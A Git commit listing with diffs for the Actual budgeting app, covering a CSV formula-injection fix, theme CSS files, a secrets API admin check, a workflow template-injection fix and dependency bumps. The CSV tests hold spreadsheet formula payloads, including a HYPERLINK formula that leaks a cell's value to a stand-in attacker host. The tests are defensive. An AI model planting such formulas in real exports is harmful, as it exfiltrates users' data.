Compare commits

...

9 Commits

Author SHA1 Message Date
Matiss Janis Aboltins
068185751c [AI] Prevent CSV formula injection in exports and CLI output (#7859)
* [AI] Neutralize CSV formula-injection in CLI output and transaction export

Prefix cells starting with =, +, -, @, tab, or CR with a single quote so
that user-controlled strings (payee/account/category/tag names, notes,
etc.) cannot evaluate as formulas when the CSV is opened in Excel,
LibreOffice Calc, or Google Sheets. Numeric values are left unprefixed.

- packages/cli/src/output.ts: harden escapeCsv used by --format csv
- packages/loot-core/src/server/transactions/export/export-to-csv.ts:
  pass a cast.string option to csv-stringify

* [AI] Simplify CSV formula-injection guard

- Drop the FormattedCell type; check typeof value === 'number' inline in
  the CSV path instead of threading an isNumeric flag through formatCellValue
- Shorten verbose comments and drop standards-body references

* [AI] Remove @ts-strict-ignore from export-to-csv test

* [AI] Add release notes for CSV formula-injection fix

* [AI] Quote CSV cells containing carriage returns

Per RFC 4180, bare \r inside an unquoted field can be interpreted as
a record terminator. Extend escapeCsv to also quote on \r so neutralized
formula payloads (e.g. "'\rHELLO") are emitted as a single cell.

* [autofix.ci] apply automated fixes

* [AI] Rephrase release note in user-facing language

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-16 21:05:40 +00:00
Matiss Janis Aboltins
8f0265e0b0 [AI] Convert built-in themes from TypeScript to CSS files (#7851)
* [AI] Convert theme color TS modules to CSS files with CSS variables

Replace `palette.ts` and `themes/{light,dark,midnight}.ts` with plain CSS
files that declare the same variables directly via `:root` blocks. The
palette becomes `--palette-*` variables; each theme defines `--color-*`
variables referencing those (or other `--color-*` for intra-theme aliases).

`theme.tsx` and Storybook's `preview.tsx` now import each CSS file as a
string via Vite's `?inline` query and render two `<style>` tags (palette +
active theme) instead of building the variable declarations at runtime
from a TS object.

Auto/dark-preference selection, `prefers-color-scheme` listening, the
custom-theme baseTheme override, and the `CustomThemeStyle` override layer
are all preserved.

* [AI] Move theme CSS files to component-library

Move palette.css and themes/{light,dark,midnight}.css from desktop-client's
style/ directory into component-library at src/themes/, and add explicit
package.json exports for each. desktop-client's theme.tsx now imports them
via `@actual-app/components/themes/*.css?inline`, and Storybook's
preview.tsx uses a normal relative path inside its own package instead of
reaching across the monorepo boundary.

* [AI] Minimize theme.tsx rename churn

Keep the original variable names — `themes[*].colors`, `themeColors` state,
`lightColors` / `darkColors` locals, and `getBaseThemeColors` — even though
they now hold CSS strings rather than color objects. Limits the diff to the
import changes, the state type, and the render path.

* [AI] Add release note for theme CSS conversion

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 21:05:02 +00:00
Matiss Janis Aboltins
3494f78c94 [AI] Restrict secrets API access to admins in OpenID mode (#7862)
* [AI] Require admin for GET /secret/:name in OpenID mode

The GET handler only verified an authenticated session, while the
sibling POST handler enforced an admin gate when the active auth
method is openid. A non-admin BASIC user in an OpenID multi-user
deployment could enumerate which admin-managed bank-sync secrets
were configured by probing 204 vs 404 responses.

Factor the auth-method + admin check into a shared helper used by
both POST and GET, and restrict the GET :name parameter to the
known SecretName enum so unrelated probing returns 404 up front.

* [AI] Simplify secrets auth guard after review

- Use existing getActiveLoginMethod() helper instead of duplicating
  the SELECT inline; drop the redundant try/catch.
- Validate the secret name against the SecretName enum before doing
  the auth-method DB query so bogus probes fail fast.
- Switch the enum membership check from hasOwnProperty.call to the
  more idiomatic in operator.
- Tighten the function-header comment to a single WHY line.
- Drop the dead else-branch from the test helper.

* [AI] Move response building back into the secrets handlers

Reshape the helper as canManageSecrets(userId) - a pure predicate over
the user. Each handler now owns its own 403 response so request/response
plumbing stays inside the route handlers.

* [AI] Undo testSecretName -> validSecretName rename

Reuse the original testSecretName / testSecretValue constants; only
the value of testSecretName changes to a real SecretName so the GET
handler's enum check accepts it.

* [AI] Add release note for #7862

* [AI] Validate POST secret name and tighten GET auth ordering

- POST /secret/ now rejects names not in the SecretName enum with 400.
- GET /secret/:name runs the admin check before the enum check so
  non-admins in OpenID mode get a uniform 403 regardless of whether
  the requested name is valid.
- Add tests for both: admin POST success in OpenID mode, and POST 400
  for unknown secret names.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 20:59:31 +00:00
Matiss Janis Aboltins
46c350613c [AI] Upgrade vite-plugin-node-polyfills to 0.27.0 (#7860)
* [AI] Upgrade vite-plugin-node-polyfills to 0.27.0

Bumps `vite-plugin-node-polyfills` from `^0.26.0` to `^0.27.0` in
`packages/loot-core`.

Changelog: https://github.com/davidmyersdev/vite-plugin-node-polyfills/releases/tag/v0.27.0
Related upstream issue (already referenced from `vite.config.mts`):
https://github.com/davidmyersdev/vite-plugin-node-polyfills/issues/142

* [AI] Add release note for vite-plugin-node-polyfills upgrade

* [AI] Remove stale upstream issue reference from vite config

The link pointed at davidmyersdev/vite-plugin-node-polyfills#142, which
no longer needs a workaround note alongside the `nodePolyfills` call.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 15:03:52 +00:00
Matt Fiddaman
9b19cd2616 automation UI: various tweaks and fixes (#7832)
* warning when only a balance cap is used

* add tooltip for short descriptions

* fix parsing issue with template 0 up to templates

* preselect value to make deletion easier

* note

* fix balance cap note

* fix tests

* remove recurring

* Goal/Automation wording
2026-05-15 22:13:30 +00:00
Matiss Janis Aboltins
1f101077d6 [AI] zizmor: add environment references to secret-consuming workflows (#7856)
* [AI] Reference dedicated environments for workflows using secrets

Assigns each secret-consuming workflow to a dedicated GitHub
environment so zizmor's secrets-without-environment audit passes:

- ai-generated-release-notes.yml -> ai-release-notes
- docs-spelling.yml (update job) -> docs-spelling
- i18n-string-extract-master.yml -> i18n
- release-notes.yml -> pr-automation
- vrt-update-apply.yml -> pr-automation

* [AI] Rename release notes file to match PR #7856

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-15 21:45:12 +00:00
Matiss Janis Aboltins
62d7c0e479 [AI] zizmor: fix template injection in setup action's Lage cache step (#7858)
* [AI] Fix template injection in setup action's Lage cache step

The 'Ensure Lage cache directory exists' step expanded
${{ inputs.working-directory }} directly into the shell command via
format(), which zizmor flags as a code-injection risk. Pass the input
through an env var and reference it with shell expansion instead.

* [AI] Add release note for template injection fix

* [AI] Rename release note to match PR #7858

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-15 21:34:22 +00:00
dependabot[bot]
740392941d Bump qs from 6.13.0 to 6.15.1 (#7857)
Bumps [qs](https://github.com/ljharb/qs) from 6.13.0 to 6.15.1.
- [Changelog](https://github.com/ljharb/qs/blob/main/CHANGELOG.md)
- [Commits](https://github.com/ljharb/qs/compare/v6.13.0...v6.15.1)

---
updated-dependencies:
- dependency-name: qs
  dependency-version: 6.15.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-15 20:53:31 +00:00
dependabot[bot]
d4528e18ea Bump lodash-es from 4.17.21 to 4.18.1 (#7854)
Bumps [lodash-es](https://github.com/lodash/lodash) from 4.17.21 to 4.18.1.
- [Release notes](https://github.com/lodash/lodash/releases)
- [Commits](https://github.com/lodash/lodash/compare/4.17.21...4.18.1)

---
updated-dependencies:
- dependency-name: lodash-es
  dependency-version: 4.18.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-15 20:23:31 +00:00
41 changed files with 1282 additions and 948 deletions

View File

@@ -39,8 +39,10 @@ runs:
path: ${{ format('{0}/**/node_modules', inputs.working-directory) }}
key: yarn-v1-${{ runner.os }}-${{ steps.get-node.outputs.version }}-${{ hashFiles(format('{0}/**/yarn.lock', inputs.working-directory)) }}
- name: Ensure Lage cache directory exists
run: mkdir -p ${{ format('{0}/.lage', inputs.working-directory) }}
run: mkdir -p "$WORKING_DIRECTORY/.lage"
shell: bash
env:
WORKING_DIRECTORY: ${{ inputs.working-directory }}
- name: Cache Lage
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
if: ${{ inputs.cache == 'true' }}

View File

@@ -9,6 +9,7 @@ jobs:
# Only run on PR comments from CodeRabbit bot
if: github.event.issue.pull_request && github.event.comment.user.login == 'coderabbitai[bot]'
runs-on: ubuntu-latest
environment: ai-release-notes
timeout-minutes: 10
permissions:
contents: write

View File

@@ -146,6 +146,7 @@ jobs:
pull-requests: write
actions: read
runs-on: ubuntu-latest
environment: docs-spelling
if: ${{
github.event_name == 'issue_comment' &&
github.event.issue.pull_request &&

View File

@@ -12,6 +12,7 @@ permissions:
jobs:
extract-and-upload-i18n-strings:
runs-on: ubuntu-latest
environment: i18n
if: github.repository == 'actualbudget/actual'
steps:
- name: Check out main repository

View File

@@ -14,6 +14,7 @@ concurrency:
jobs:
release-notes:
runs-on: ubuntu-latest
environment: pr-automation
steps:
- name: Check if triggered by bot
id: bot-check

View File

@@ -16,6 +16,7 @@ jobs:
apply-vrt-updates:
name: Apply VRT Updates
runs-on: ubuntu-latest
environment: pr-automation
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
- name: Download patch artifact

View File

@@ -154,6 +154,50 @@ describe('formatOutput', () => {
expect(result).toContain('166500');
expect(result).not.toContain('1665.00');
});
describe('formula-injection neutralization', () => {
it.each([['=1+1'], ['+1+1'], ['-2+3'], ['@SUM(1+1)'], ['\tHELLO']])(
'prefixes a leading %j with a single quote',
payload => {
const data = [{ val: payload }];
const result = formatOutput(data, 'csv');
expect(result).toBe(`val\n'${payload}`);
},
);
it('prefixes and quotes a leading carriage return', () => {
const data = [{ val: '\rHELLO' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\n"\'\rHELLO"');
});
it('quotes values containing a carriage return mid-string', () => {
const data = [{ val: 'line1\rline2' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\n"line1\rline2"');
});
it('neutralizes formula triggers even when the value also needs quoting', () => {
const data = [{ val: '=HYPERLINK("http://attacker/?d="&B2,"x")' }];
const result = formatOutput(data, 'csv');
const lines = result.split('\n');
expect(lines[1]).toBe(
'"\'=HYPERLINK(""http://attacker/?d=""&B2,""x"")"',
);
});
it('does not neutralize trigger characters that appear mid-string', () => {
const data = [{ val: 'a+b' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\na+b');
});
it('does not prefix negative amount values', () => {
const data = [{ amount: -2500 }];
const result = formatOutput(data, 'csv');
expect(result).toBe('amount\n-25.00');
});
});
});
});

View File

@@ -73,9 +73,7 @@ function formatCsv(data: unknown): string {
if (data && typeof data === 'object') {
const entries = Object.entries(data);
const header = entries.map(([k]) => escapeCsv(k)).join(',');
const values = entries
.map(([k, v]) => escapeCsv(formatCellValue(k, v)))
.join(',');
const values = entries.map(([k, v]) => formatCsvCell(k, v)).join(',');
return header + '\n' + values;
}
return String(data);
@@ -89,14 +87,31 @@ function formatCsv(data: unknown): string {
const header = keys.map(k => escapeCsv(k)).join(',');
const rows = data.map(row => {
const r = row as Record<string, unknown>;
return keys.map(k => escapeCsv(formatCellValue(k, r[k]))).join(',');
return keys.map(k => formatCsvCell(k, r[k])).join(',');
});
return [header, ...rows].join('\n');
}
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
function formatCsvCell(key: string, value: unknown): string {
let formatted = formatCellValue(key, value);
// Skip neutralization for numeric values so legitimate negative amounts
// like "-25.00" aren't quoted as text.
if (typeof value !== 'number' && FORMULA_TRIGGERS.test(formatted)) {
formatted = "'" + formatted;
}
return escapeCsv(formatted);
}
function escapeCsv(value: string): string {
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
if (
value.includes(',') ||
value.includes('"') ||
value.includes('\n') ||
value.includes('\r')
) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;

View File

@@ -2,19 +2,15 @@ import { type ReactNode } from 'react';
import type { Preview } from '@storybook/react-vite';
// Not ideal to import from desktop-client, but we need a source of truth for theme variables
// TODO: this needs refactoring
// oxlint-disable-next-line actual/enforce-boundaries
import * as darkTheme from '../../desktop-client/src/style/themes/dark';
// oxlint-disable-next-line actual/enforce-boundaries
import * as lightTheme from '../../desktop-client/src/style/themes/light';
// oxlint-disable-next-line actual/enforce-boundaries
import * as midnightTheme from '../../desktop-client/src/style/themes/midnight';
import darkThemeCss from '../src/themes/dark.css?inline';
import lightThemeCss from '../src/themes/light.css?inline';
import midnightThemeCss from '../src/themes/midnight.css?inline';
import paletteCss from '../src/themes/palette.css?inline';
const THEMES = {
light: lightTheme,
dark: darkTheme,
midnight: midnightTheme,
light: lightThemeCss,
dark: darkThemeCss,
midnight: midnightThemeCss,
} as const;
type ThemeName = keyof typeof THEMES;
@@ -30,13 +26,10 @@ const ThemedStory = ({
throw new Error(`No theme specified`);
}
const css = Object.entries(THEMES[themeName])
.map(([key, value]) => `--color-${key}: ${value};`)
.join('\n');
return (
<div>
<style>{`:root {\n${css}}`}</style>
<style>{paletteCss}</style>
<style>{THEMES[themeName]}</style>
{children}
</div>
);

View File

@@ -31,6 +31,10 @@
"./text": "./src/Text.tsx",
"./text-one-line": "./src/TextOneLine.tsx",
"./theme": "./src/theme.ts",
"./themes/palette.css": "./src/themes/palette.css",
"./themes/light.css": "./src/themes/light.css",
"./themes/dark.css": "./src/themes/dark.css",
"./themes/midnight.css": "./src/themes/midnight.css",
"./tokens": "./src/tokens.ts",
"./toggle": "./src/Toggle.tsx",
"./tooltip": "./src/Tooltip.tsx",

View File

@@ -0,0 +1,250 @@
:root {
--color-pageBackground: var(--palette-gray900);
--color-pageBackgroundModalActive: var(--palette-gray800);
--color-pageBackgroundTopLeft: var(--palette-navy800);
--color-pageBackgroundBottomRight: var(--palette-gray700);
--color-pageBackgroundLineTop: var(--palette-purple400);
--color-pageBackgroundLineMid: var(--palette-navy900);
--color-pageBackgroundLineBottom: var(--palette-navy150);
--color-pageText: var(--palette-navy150);
--color-pageTextLight: var(--palette-navy300);
--color-pageTextSubdued: var(--palette-navy500);
--color-pageTextDark: var(--palette-navy100);
--color-pageTextPositive: var(--palette-purple200);
--color-pageTextLink: var(--palette-purple400);
--color-pageTextLinkLight: var(--palette-purple200);
--color-cardBackground: var(--palette-gray800);
--color-cardBorder: var(--palette-purple400);
--color-cardShadow: var(--palette-navy700);
--color-tableBackground: var(--palette-navy800);
--color-tableRowBackgroundHover: var(--palette-navy700);
--color-tableText: var(--palette-navy150);
--color-tableTextLight: var(--color-tableText);
--color-tableTextSubdued: var(--palette-navy500);
--color-tableTextSelected: var(--palette-navy150);
--color-tableTextHover: var(--palette-navy400);
--color-tableTextInactive: var(--palette-navy500);
--color-tableHeaderText: var(--palette-navy300);
--color-tableHeaderBackground: var(--palette-navy700);
--color-tableBorder: var(--palette-navy600);
--color-tableBorderSelected: var(--palette-purple400);
--color-tableBorderHover: var(--palette-purple300);
--color-tableBorderSeparator: var(--palette-navy400);
--color-tableRowBackgroundHighlight: var(--palette-purple800);
--color-tableRowBackgroundHighlightText: var(--palette-navy150);
--color-tableRowHeaderBackground: var(--palette-navy700);
--color-tableRowHeaderText: var(--palette-navy150);
--color-numberPositive: var(--palette-green300);
--color-numberNegative: var(--palette-red200);
--color-numberNeutral: var(--palette-navy500);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange300);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-navy900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green500);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemBackgroundHover: var(--palette-navy700);
--color-sidebarItemText: var(--palette-navy150);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-navy300);
--color-menuBackground: var(--palette-navy800);
--color-menuItemBackground: var(--palette-navy800);
--color-menuItemBackgroundHover: var(--palette-navy500);
--color-menuItemText: var(--palette-navy100);
--color-menuItemTextHover: var(--palette-navy50);
--color-menuItemTextSelected: var(--palette-purple400);
--color-menuItemTextHeader: var(--palette-purple200);
--color-menuBorder: var(--palette-navy900);
--color-menuBorderHover: var(--palette-purple400);
--color-menuKeybindingText: var(--palette-purple200);
--color-menuAutoCompleteBackground: var(--palette-navy900);
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
--color-menuAutoCompleteText: var(--palette-navy200);
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
--color-menuAutoCompleteItemText: var(--color-menuItemText);
--color-modalBackground: var(--palette-gray800);
--color-modalBorder: var(--palette-navy600);
--color-mobileHeaderBackground: var(--palette-purple800);
--color-mobileHeaderText: var(--palette-navy150);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-navy700);
--color-mobileNavBackground: var(--palette-navy800);
--color-mobileNavItem: var(--palette-navy150);
--color-mobileNavItemSelected: var(--palette-purple400);
--color-mobileAccountShadow: var(--color-cardShadow);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple400);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple700);
--color-markdownDark: var(--palette-purple500);
--color-markdownLight: var(--palette-purple800);
--color-buttonMenuText: var(--palette-navy200);
--color-buttonMenuTextHover: var(--color-buttonMenuText);
--color-buttonMenuBackground: transparent;
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-navy500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple400);
--color-buttonPrimaryBackgroundHover: var(--palette-purple600);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
--color-buttonPrimaryDisabledText: var(--palette-navy700);
--color-buttonPrimaryDisabledBackground: var(--palette-navy400);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-navy150);
--color-buttonNormalTextHover: var(--palette-navy150);
--color-buttonNormalBackground: var(--palette-navy800);
--color-buttonNormalBackgroundHover: var(--palette-navy600);
--color-buttonNormalBorder: var(--palette-navy300);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-purple600);
--color-buttonNormalDisabledText: var(--palette-navy500);
--color-buttonNormalDisabledBackground: var(--palette-navy800);
--color-buttonNormalDisabledBorder: var(--palette-navy500);
--color-calendarText: var(--palette-navy50);
--color-calendarBackground: var(--palette-navy900);
--color-calendarItemText: var(--palette-navy150);
--color-calendarItemBackground: var(--palette-navy800);
--color-calendarSelectedBackground: var(
--color-buttonNormalSelectedBackground
);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green800);
--color-noticeBackgroundLight: var(--palette-green900);
--color-noticeBackgroundDark: var(--palette-green500);
--color-noticeText: var(--palette-green300);
--color-noticeTextLight: var(--palette-green500);
--color-noticeTextDark: var(--palette-green150);
--color-noticeTextMenu: var(--palette-green500);
--color-noticeBorder: var(--palette-green800);
--color-warningBackground: var(--palette-orange800);
--color-warningText: var(--palette-orange300);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange100);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red800);
--color-errorText: var(--palette-red200);
--color-errorTextDark: var(--palette-red150);
--color-errorTextDarker: var(--color-errorTextDark);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple700);
--color-upcomingText: var(--palette-purple100);
--color-upcomingBorder: var(--color-tableBorder);
--color-formLabelText: var(--palette-purple150);
--color-formLabelBackground: var(--palette-blue900);
--color-formInputBackground: var(--palette-navy800);
--color-formInputBackgroundSelected: var(--palette-navy700);
--color-formInputBackgroundSelection: var(--palette-purple400);
--color-formInputBorder: var(--palette-navy600);
--color-formInputTextReadOnlySelection: var(--palette-navy800);
--color-formInputBorderSelected: var(--palette-purple400);
--color-formInputText: var(--palette-navy150);
--color-formInputTextSelected: var(--palette-black);
--color-formInputTextPlaceholder: var(--palette-navy150);
--color-formInputTextPlaceholderSelected: var(--palette-navy100);
--color-formInputTextSelection: var(--palette-navy800);
--color-formInputShadowSelected: var(--palette-purple200);
--color-formInputTextHighlight: var(--palette-purple400);
--color-checkboxText: var(--color-tableText);
--color-checkboxBackgroundSelected: var(--palette-purple300);
--color-checkboxBorderSelected: var(--palette-purple300);
--color-checkboxShadowSelected: var(--palette-purple500);
--color-checkboxToggleBackground: var(--palette-gray700);
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
--color-checkboxToggleDisabled: var(--palette-gray400);
--color-pillBackground: var(--palette-navy800);
--color-pillBackgroundLight: var(--palette-navy900);
--color-pillText: var(--palette-navy200);
--color-pillTextHighlighted: var(--palette-purple200);
--color-pillBorder: var(--palette-navy700);
--color-pillBorderDark: var(--color-pillBorder);
--color-pillBackgroundSelected: var(--palette-purple600);
--color-pillTextSelected: var(--palette-navy150);
--color-pillBorderSelected: var(--palette-purple400);
--color-pillTextSubdued: var(--palette-navy500);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--color-pageText);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple700);
--color-noteTagBackgroundHover: var(--palette-purple500);
--color-noteTagDefault: var(--palette-purple700);
--color-noteTagText: var(--palette-purple100);
--color-budgetOtherMonth: var(--palette-navy900);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetHeaderOtherMonth: var(--palette-navy800);
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
--color-floatingActionBarBackground: var(--palette-purple800);
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
--color-floatingActionBarText: var(--palette-navy150);
--color-tooltipText: var(--palette-navy100);
--color-tooltipBackground: var(--palette-navy800);
--color-tooltipBorder: var(--palette-navy700);
--color-calendarCellBackground: var(--palette-navy900);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,250 @@
:root {
--color-pageBackground: var(--palette-navy100);
--color-pageBackgroundModalActive: var(--palette-navy200);
--color-pageBackgroundTopLeft: var(--palette-navy100);
--color-pageBackgroundBottomRight: var(--palette-blue150);
--color-pageBackgroundLineTop: var(--palette-white);
--color-pageBackgroundLineMid: var(--palette-navy100);
--color-pageBackgroundLineBottom: var(--palette-blue150);
--color-pageText: #272630;
--color-pageTextLight: var(--palette-navy500);
--color-pageTextSubdued: var(--palette-navy300);
--color-pageTextDark: var(--palette-navy800);
--color-pageTextPositive: var(--palette-purple600);
--color-pageTextLink: var(--palette-blue600);
--color-pageTextLinkLight: var(--palette-blue300);
--color-cardBackground: var(--palette-white);
--color-cardBorder: var(--palette-purple700);
--color-cardShadow: var(--palette-navy700);
--color-tableBackground: var(--palette-white);
--color-tableRowBackgroundHover: var(--palette-navy50);
--color-tableText: var(--color-pageText);
--color-tableTextLight: var(--palette-navy400);
--color-tableTextSubdued: var(--palette-navy100);
--color-tableTextSelected: var(--palette-navy700);
--color-tableTextHover: var(--palette-navy900);
--color-tableTextInactive: var(--palette-navy500);
--color-tableHeaderText: var(--palette-navy600);
--color-tableHeaderBackground: var(--palette-white);
--color-tableBorder: var(--palette-navy100);
--color-tableBorderSelected: var(--palette-purple500);
--color-tableBorderHover: var(--palette-purple400);
--color-tableBorderSeparator: var(--palette-navy400);
--color-tableRowBackgroundHighlight: var(--palette-blue150);
--color-tableRowBackgroundHighlightText: var(--palette-navy700);
--color-tableRowHeaderBackground: var(--palette-navy50);
--color-tableRowHeaderText: var(--palette-navy800);
--color-numberPositive: var(--palette-green700);
--color-numberNegative: var(--palette-red500);
--color-numberNeutral: var(--palette-navy100);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange700);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-navy900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green500);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemBackgroundHover: var(--palette-navy800);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemText: var(--palette-navy150);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-navy150);
--color-menuBackground: var(--palette-white);
--color-menuItemBackground: var(--palette-navy50);
--color-menuItemBackgroundHover: var(--palette-navy100);
--color-menuItemText: var(--palette-navy900);
--color-menuItemTextHover: var(--color-menuItemText);
--color-menuItemTextSelected: var(--palette-purple300);
--color-menuItemTextHeader: var(--palette-navy400);
--color-menuBorder: var(--palette-navy100);
--color-menuBorderHover: var(--palette-purple100);
--color-menuKeybindingText: var(--palette-navy400);
--color-menuAutoCompleteBackground: var(--palette-navy900);
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
--color-menuAutoCompleteText: var(--palette-white);
--color-menuAutoCompleteTextHover: var(--palette-green150);
--color-menuAutoCompleteTextHeader: var(--palette-orange150);
--color-menuAutoCompleteItemTextHover: var(--color-menuAutoCompleteText);
--color-menuAutoCompleteItemText: var(--color-menuAutoCompleteText);
--color-modalBackground: var(--palette-white);
--color-modalBorder: var(--palette-white);
--color-mobileHeaderBackground: var(--palette-purple400);
--color-mobileHeaderText: var(--palette-navy50);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-navy50);
--color-mobileNavBackground: var(--palette-white);
--color-mobileNavItem: var(--palette-gray300);
--color-mobileNavItemSelected: var(--palette-purple500);
--color-mobileAccountShadow: var(--palette-navy300);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple500);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple150);
--color-markdownDark: var(--palette-purple400);
--color-markdownLight: var(--palette-purple100);
--color-buttonMenuText: var(--palette-navy100);
--color-buttonMenuTextHover: var(--palette-navy50);
--color-buttonMenuBackground: transparent;
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-navy500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple500);
--color-buttonPrimaryBackgroundHover: var(--palette-purple300);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.3);
--color-buttonPrimaryDisabledText: var(--palette-white);
--color-buttonPrimaryDisabledBackground: var(--palette-navy300);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-navy900);
--color-buttonNormalTextHover: var(--color-buttonNormalText);
--color-buttonNormalBackground: var(--palette-white);
--color-buttonNormalBackgroundHover: var(--color-buttonNormalBackground);
